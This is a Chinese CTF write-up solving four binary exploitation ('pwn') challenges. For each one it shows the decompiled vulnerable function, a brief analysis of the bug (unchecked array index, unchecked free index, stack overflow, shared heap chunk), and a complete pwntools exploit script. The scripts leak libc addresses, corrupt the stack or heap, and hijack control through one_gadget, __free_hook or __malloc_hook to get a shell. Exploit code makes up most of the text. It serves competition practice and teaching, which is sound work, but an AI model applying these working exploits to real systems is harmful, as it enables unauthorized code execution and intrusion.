太菜了,堆的题要么找不到洞,要么找不到好的思路,得加紧训练
your_pwn
题目
关键函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| memset(&s, 0, 0x100uLL); memset(arr, 0, 0x28uLL); for ( i = 0; i <= 40; ++i ) { puts("input index"); __isoc99_scanf("%d", &idx); printf("now value(hex) %x\n", (unsigned int)arr[idx]); puts("input new value"); __isoc99_scanf("%d", &new_v); arr[idx] = new_v; } puts("do you want continue(yes/no)? "); read(0, &s, 0x100uLL); return strncmp(&s, "yes", 3uLL) == 0; }
|
分析
原意是可以给arr的每个地址赋新值,但是因为其没有对idx进行限制,因而相当于任意地址写,同时因为其会先将地址处的值显示出来,因而可以先泄露地址
通过泄露栈中的libc_start_main+240,得到libc基址同时查询得到libc版本为2.23,因此可以直接计算处one_adget 地址,最后用同样的方法再循环写入返回地址为
one_gadget即可;
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import *
context.log_level = 'debug' #sh=process('./pwn') sh=remote('1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com','57856')#('111.198.29.45','32440') elf = ELF('./pwn') sh.sendlineafter('name:','name')
leak = '' def scan(idx): global leak sh.sendlineafter('index\n',str(idx)) sh.recvuntil('(hex) ') r = sh.recvuntil('\n',drop=True)[-2:] print r leak =r+leak l=int(r,16) sh.sendlineafter('value\n',str(l))
for i in range(632,638): scan(i) leak=leak.ljust(8,'\x00') print leak leak_addr = int('0x'+leak,16) print hex(leak_addr)
libc_start = leak_addr -240 print 'libc_start_main:' + hex(libc_start) libc = leak_addr-elf.plt['__libc_start_main']-0x1ff20 print hex(libc) #system = libc+ 0x045390 #binsh = libc + 0x18cd57 one = 0x4526a + libc print 'one: '+ hex(one)
ls = [0,0,0,0,0,0,0,0] for i in range(0,8): ls[i] = one%0x100 print hex(ls[i]) one /= 0x100
for i in range(344,352): j=i-344 print hex(ls[j]) sh.sendlineafter('index\n',str(i)) sh.sendlineafter('value\n',str(ls[j])) # sleep(2) #gdb.attach(sh,'b* 0xc2a'+str(libc)) sh.sendlineafter('index\n',str(-1)) sh.sendlineafter('value\n',str(1)) sh.sendlineafter('? \n','no') #gdb.attach(sh) sh.interactive()
|
daily
做一半电脑死机了。。坑。。。
题目
漏洞点比较隐蔽,看了好久
关键函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| unsigned __int64 remove() { int idx; // [rsp+Ch] [rbp-14h] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u); if ( cnt ) { printf("Please enter the index of daily:"); read(0, &buf, 8uLL); idx = atoi(&buf);
if ( *(_QWORD *)&ptr[4 * idx + 2] ) // 没有检查idx的大小 { free(*(void **)&ptr[4 * idx + 2]); *(_QWORD *)&ptr[4 * idx + 2] = 0LL; ptr[4 * idx] = 0; puts("remove successful!!"); --cnt; } else { puts("invaild index"); } } else { puts("No pages in the daily"); } return __readfsqword(0x28u) ^ v3; }
|
分析
前面很容易想到利用malloc_consolidate 来泄露libc地址及heap地址;
而漏洞点在于在删除chunk时,没有对输入的idx进行检查,所以只要释放的地址处的chunk可以通过检查,就可以被置入bin链表中
而只要泄露堆地址,就可以运算得到其index,因为输入的是整型数据,所以在一定情况下堆分配离bss段较远时会出错,不过这个问题可以多次尝试来解决
所以在堆上伪造如同bss段的结构体(size+ptr),delete时将idx指向这里free掉一个chunk,而因为这样并不会情况bss段存储的结构体,我们就可以UAF
最后因为尝试one_gadget条件无法满足,最后只能换成调用system函数来覆盖free_hook来getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import *
sh = process('./pwn') #sh = remote('5f0cfa41a052c741f4beafe9d083d281.kr - lab.com',58512) elf = ELF('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(size,con): sh.recvuntil('Your choice:') sh.sendline('2') sh.recvuntil('daily:') sh.sendline(str(size)) sh.recvuntil('daily\n') sh.send(con) def dele(idx): sh.recvuntil('choice:') sh.sendline('4') sh.recvuntil('daily:') sh.sendline(str(idx)) def edit(idx,con): sh.recvuntil('Your choice:') sh.sendline('3') sh.recvuntil('daily:') sh.sendline(str(idx)) sh.recvuntil('daily') sh.send(con) def show(): sh.recvuntil('choice:') sh.sendline('1')
add(0x20,'a') add(0x800,'a') add(0x10,'a') dele(1) add(0x100,'aaaaaa') show() sh.recvuntil('a'*8) main_arena = u64(sh.recv(6).ljust(8,'\x00')) - 0x548
libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10 one_gadget = libc_base + libc.symbols['system'] free_hook = libc_base + libc.symbols['__free_hook']
edit(1,'a'*24) show() sh.recvuntil('a'*24) heap = u64(sh.recv(4).ljust(8,'\x00'))
add(0x700-8,'aaa') add(0x10,'aaa') add(0x10,'aaa') dele(4) dele(5) index = (heap + 0x10 - 0x602060)/16 payload = p64(0x100) + p64(heap + 0x830 + 0x10) edit(1,payload) dele(index)
add(0x10,p64(0x602058)) add(0x10,'c') add(0x10,'d') add(0x10,'e')
edit(7,p64(free_hook)) edit(0,p64(one_gadget)) edit(1,'/bin/sh\x00') dele(1)
sh.interactive()
|
baby_pwn
题目
关键函数
1 2 3 4 5 6
| ssize_t vuln() { char buf; // [esp+0h] [ebp-28h]
return read(0, &buf, 0x100u); }
|
保护
1 2 3 4 5
| arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
分析
直接给了溢出,同时除了PIE保护全开,没有给libc,可以确定是ret2_dl_runtime_resolve
可以直接使用roputils库 ,在bss段伪造结构体 ,然后上脚本即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import sys import roputils from pwn import * context.log_level = 'debug' offset = 44 readplt = 0x08048390 bss = 0x0804a068 vulFunc = 0x0804852d
#p = process('./pwn') p = remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com','33865') rop = roputils.ROP('./pwn') addr_bss = rop.section('.bss')
# step1 : write sh & resolve struct to bss buf1 = 'a' * offset #44 buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100) p.send(buf1)
buf2 = rop.string('/bin/sh') buf2 += rop.fill(20, buf2) buf2 += rop.dl_resolve_data(addr_bss+20, 'system') buf2 += rop.fill(100, buf2) p.send(buf2)
#step2 : use dl_resolve_call get system & system('/bin/sh') buf3 = 'a'*44 + rop.dl_resolve_call(addr_bss+20, addr_bss) p.send(buf3) p.interactive()
|
double
其实很简单的一道题。。。结果当天没做出来。。过了一天,昨天睡觉前突然意识到怎么做。。。最后写出来用了不到20分钟!!难受
题目
程序使用链表来记录分配的chunk,删除时也就是链表的元素删除,所以当时会陷入对链表的问题的查找,而实际上问题不在这里
主要问题函数:
分配的new函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| unsigned __int64 new() { int size; // [rsp+4h] [rbp-12Ch] struc *ptr; // [rsp+8h] [rbp-128h] struc *last; // [rsp+10h] [rbp-120h] char *dest; // [rsp+18h] [rbp-118h] char s2; // [rsp+20h] [rbp-110h] unsigned __int64 v6; // [rsp+128h] [rbp-8h]
v6 = __readfsqword(0x28u); ptr = (struc *)malloc(0x18uLL); if ( ptr ) { puts("Your data:"); size = get_str(&s2, 0x100); last = ptrStop; if ( ptrStop && !strcmp((const char *)ptrStop->chunk_ptr, &s2) ) { ptr->idx = last->idx + 1; ptr->size = last->size; ptr->chunk_ptr = last->chunk_ptr; ptr->next_chunk = 0LL; last->next_chunk = (__int64)ptr; ptrStop = ptr; } else { dest = (char *)malloc(size + 1); if ( !dest ) { puts("Malloc Failed, Error"); free(ptr); return __readfsqword(0x28u) ^ v6; } strncpy(dest, &s2, size + 1); ptr->size = size; ptr->chunk_ptr = (__int64)dest; ptr->next_chunk = 0LL; if ( ptrStart ) { ptr->idx = last->idx + 1; last->next_chunk = (__int64)ptr; } else { ptr->idx = 0; ptrStart = (__int64)ptr; } ptrStop = ptr; } printf("Success, index: %d\n", (unsigned int)ptr->idx); return __readfsqword(0x28u) ^ v6; } puts("Malloc Failed,Error"); return __readfsqword(0x28u) ^ v6; }
|
分析
这个程序的问题在于分配chunk时,会检查内容是否相同,如果相同的话,就不再多分配chunk,只会分配结构体 chunk然后将其中的指针指向已知的chunk,也就会出现两个指针指向同一个chunk,我们就可以UAF
1
| if ( ptrStop && !strcmp((const char *)ptrStop->chunk_ptr, &s2) )
|
而其实这就已经是极大的漏洞了,利用这个洞完全可以泄露libc然后覆盖fd指针到malloc_hook, one_gadget 一把梭getshell
完全没必要总去想着控制链表指针什么的…费力不讨好
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import *
#context.log_level = 'debug'
sh=process('./pwn') #sh=remote('')#('85c3e0fcae5e972af313488de60e8a5a.kr-lab.com','58512')#('111.198.29.45','32440') elf = ELF('./pwn')
def show(idx): sh.sendlineafter('> ','2') sh.sendlineafter('index: ',str(idx)) def new(con): sh.sendlineafter('> ','1') sh.sendlineafter('data:\n',con)
def edit(idx,con): sh.sendlineafter('> ','3') sh.sendlineafter('index: ',str(idx)) sh.sendline(con)
def dele(idx): sh.sendlineafter('> ','4') sh.sendlineafter('index: ',str(idx))
new('a'*8) new('a'*8) new('b'*8) new('c'*0x80) new('c'*0x80) new('d'*0x60) new('d'*0x60)
new('e'*0x20)
#----------------leak heap base------------------------------//没有必要, 所以其实可以更短 dele(2) dele(0) show(1) heap = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x60 print hex(heap)
new('d'*8) new('a'*8) #---------------leak libc base----------------------------- dele(3) show(4)
libc = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))-88-0x3c4b20 print hex(libc) one = libc+0x4526a print hex(one)
new('c'*0x80)
#------------------hjack malloc_hook to getshell----------- dele(5) edit(6,p64(libc+0x3c4b20-0x33)) new('d'*0x60) new('a'*0x13+p64(one)+p64(0)*9)
sh.sendlineafter('> ','1') sh.sendline('end')
#gdb.attach(sh)
sh.interactive()
|